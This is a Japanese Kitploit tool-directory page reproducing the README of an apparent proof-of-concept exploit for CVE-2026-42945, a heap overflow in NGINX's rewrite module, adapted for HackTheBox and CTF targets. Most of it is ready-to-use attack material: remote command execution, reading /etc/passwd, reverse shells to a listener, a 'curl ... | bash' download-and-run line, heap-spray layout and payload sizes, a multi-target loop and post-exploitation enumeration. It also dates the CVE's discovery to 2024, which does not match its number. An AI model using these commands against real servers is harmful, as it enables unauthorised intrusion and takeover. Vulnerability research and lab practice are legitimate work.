Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42945-POC — CVE-2026-42945のエクスプロイト | Kitploit
ツール/GitHubGitHub/cipherspy/cve-2026-42945-poc
偵察ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストコマンド&コントロール学習と教育バイナリエクスプロイト
GitHubcipherspy/cve-2026-42945-poc

CVE-2026-42945-POC

541373ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42945のエクスプロイト

リポジトリを見る

CVE-2026-42945 (NGINX Rift) - HTB対応エクスプロイト

2024年に発見されたNGINXのヒープバッファオーバーフロー脆弱性のためのスタンドアロンエクスプロイト。このバージョンは、DockerコンテナをセットアップできないHackTheBoxやCTF環境向けに最適化されています。

脆弱性の詳細

CVE-2026-42945 は、2008年(バージョン0.6.27)から存在するNGINXの ngx_http_rewrite_module における深刻なヒープバッファオーバーフローです。このバグは以下の場合に発生します:

  1. rewrite ディレクティブの置換文字列に ? が含まれている(is_args = 1 に設定)
  2. set ディレクティブがURIの一部をキャプチャする
  3. 長さ計算が初期化されたサブエンジンで行われる(is_args = 0 と見なす)
  4. コピー段階がメインエンジンで実行される(is_args = 1 と見なす)
  5. URIエスケープが文字を3倍に拡張し、小さすぎるバッファをオーバーフローさせる

影響を受けるバージョン

  • NGINX Open Source: 0.6.27 - 1.30.0
  • NGINX Plus: R32 - R36

修正されたバージョン

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

含まれるファイル

  1. nginx_rift_htb.py - メインエクスプロイトスクリプト
  2. nginx_rift_helper.py - 偵察および情報漏洩補助ツール
  3. README.md - このファイル

必要条件

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# No additional Python packages needed - uses only stdlib!

クイックスタート

1. ターゲットが脆弱かどうかを確認

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

これにより:

  • NGINXが実行中かどうかを検出
  • バージョンの特定を試みる
  • /api/ エンドポイントの有無を確認
  • ターゲットが脆弱であると思われる場合に報告

2. 偵察(推奨)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

これにより:

  • NGINXフィンガープリンティング
  • バージョン検出
  • エンドポイントの発見
  • 情報漏洩の検出
  • 動作分析

3. エクスプロイトを実行

コマンドの実行:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

リバースシェルの取得:

root@kitploit:~
# Start listener first (in another terminal)
nc -lvnp 4444

# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

使用例

基本的なコマンド実行

root@kitploit:~
# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

リバースシェル

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

カスタムアドレス(ASLRが無効の場合、または情報漏洩がある場合)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

高度なオプション

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

エクスプロイトの理解

動作の仕組み

  1. ヒープスプレー: 偽の ngx_pool_cleanup_s 構造体を含む細工されたボディを持つ複数のPOSTリクエストを送信
  2. オーバーフロートリガー: エスケープ時にオーバーフローするように特別に細工されたURIを使用して /api/ にGETリクエストを送信
  3. クリーンアップフック: オーバーフローにより隣接するプールのクリーンアップポインタが破壊され、偽の構造体を指すように
  4. コード実行: プールが破棄されると、指定されたコマンドで system() が呼び出される

主要パラメータ

  • ターゲットバイト: URLセーフな文字のみを含む6バイトのアドレス
  • スプレーボディ: 偽のクリーンアップ構造体を含む4000バイトのPOSTボディ
  • オーバーフローペイロード: 349個の'A' + 969個の'+'文字(エスケープ時に3倍に拡張)

ASLRに関する考慮事項

このエクスプロイトは ASLRが無効 であるか、アドレスが既知であることを前提としています。HTBでは:

  • 一部のボックスでは、エクスプロイトを容易にするためにASLRが無効になっている
  • 他のボックスでは、情報漏洩を見つける必要がある
  • ヘルパースクリプトが偵察を支援することができる

ASLRが有効な場合、以下の対応が必要になる可能性があります:

  1. アプリケーション内の情報漏洩を見つける
  2. ブルートフォース(多くの試行が必要)
  3. 部分的な上書き(高度な手法)

トラブルシューティング

"ターゲットがNGINXを実行しているように見えない"

  • ターゲットが実際にNGINXを実行していることを確認
  • ポートが正しいかどうかを確認
  • WAF/プロキシの背後にある可能性あり

"/api/ エンドポイントを確認できませんでした"

脆弱な設定には以下が必要です:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • 他の場所で rewrite+set が存在する場合、エクスプロイトは依然として動作する可能性あり
  • 別の一般的なパスを試す: /api/, /admin/, /internal/

"すべてのエクスプロイト試行が失敗しました"

考えられる理由:

  1. ASLRが有効 - アドレスがランダム化されている

    • 解決策:情報漏洩を見つけるか、ブルートフォース
  2. 異なるlibcバージョン - system() のオフセットが異なる

    • 解決策:--verbose で全オフセットを試す
  3. 脆弱でないバージョン - 修正済みのバージョンまたは異なる設定

    • 解決策:ヘルパースクリプトでバージョンを確認
  4. WAF/IDSによるブロック - セキュリティ制御が作用

    • 解決策:回避技術が必要な可能性あり
  5. 誤ったエンドポイント - rewrite+setの組み合わせを使用していない

    • 解決策:実際の脆弱なエンドポイントを見つける

詳細モード

デバッグのために常に --verbose を使用:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

これにより:

  • 各スプレーリクエストのステータス
  • 接続試行
  • オーバーフロートリガーのタイミング
  • クラッシュ検出ロジック

HTB固有のヒント

VPN IPアドレスの確認

root@kitploit:~
# Find your tun0 IP
ip addr show tun0 | grep inet

# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

シェルの安定化

初期アクセスを取得したら:

root@kitploit:~
# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

シェル取得後の一般的なHTB列挙

root@kitploit:~
# Check current user
id
whoami

# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Check sudo permissions
sudo -l

# Check SUID binaries
find / -perm -4000 2>/dev/null

高度な使用法

カスタムペイロード生成

ペイロードをカスタマイズする必要がある場合:

root@kitploit:~
# nginx_rift_htb.py の make_body() 関数を編集
# 異なる設定用に BODY_LEN を調整
# オーバーフロー文字列を変更(349個の'A' + 969個の'+')

複数ターゲット

root@kitploit:~
# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Test each one
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

自動化エクスプロイト

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

技術的詳細

脆弱なコードパターン

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Sets is_args=1
    set $original_endpoint $1;                     # Allocates based on is_args=0
}

エクスプロイトの流れ

root@kitploit:~
1. POSTスプレー → 偽のクリーンアップ構造体でヒープを埋める
2. GET /api/AAAA...++++...X → オーバーフローをトリガー
3. オーバーフローが隣接するプールのクリーンアップポインタを破壊
4. プールが破棄される → system(cmd) が呼び出される

メモリレイアウト

root@kitploit:~
[Heap Spray Body - 4000 bytes]
+0:  system_addr (8 bytes)
+8:  data_addr (8 bytes) 
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'

参考資料

  • オリジナルPoC: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • 技術解説記事: https://depthfirst.com/research/nginx-rift
  • NGINXアドバイザリ: https://my.f5.com/manage/s/article/K000160932
  • CVE詳細: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

免責事項

このツールは教育目的および許可されたセキュリティテストのためだけに提供されます。所有していない、または明示的なテスト許可がないシステムに対してこれを使用することは違法です。作者は誤用に対する一切の責任を負いません。

クレジット

  • オリジナル脆弱性を発見: depthfirst
  • オリジナルPoC: p3Nt3st3r-sTAr
  • HTB対応: スタンドアロン使用向けに改変

ライセンス

教育/研究目的のみ。責任を持って使用してください。

ツールをダウンロード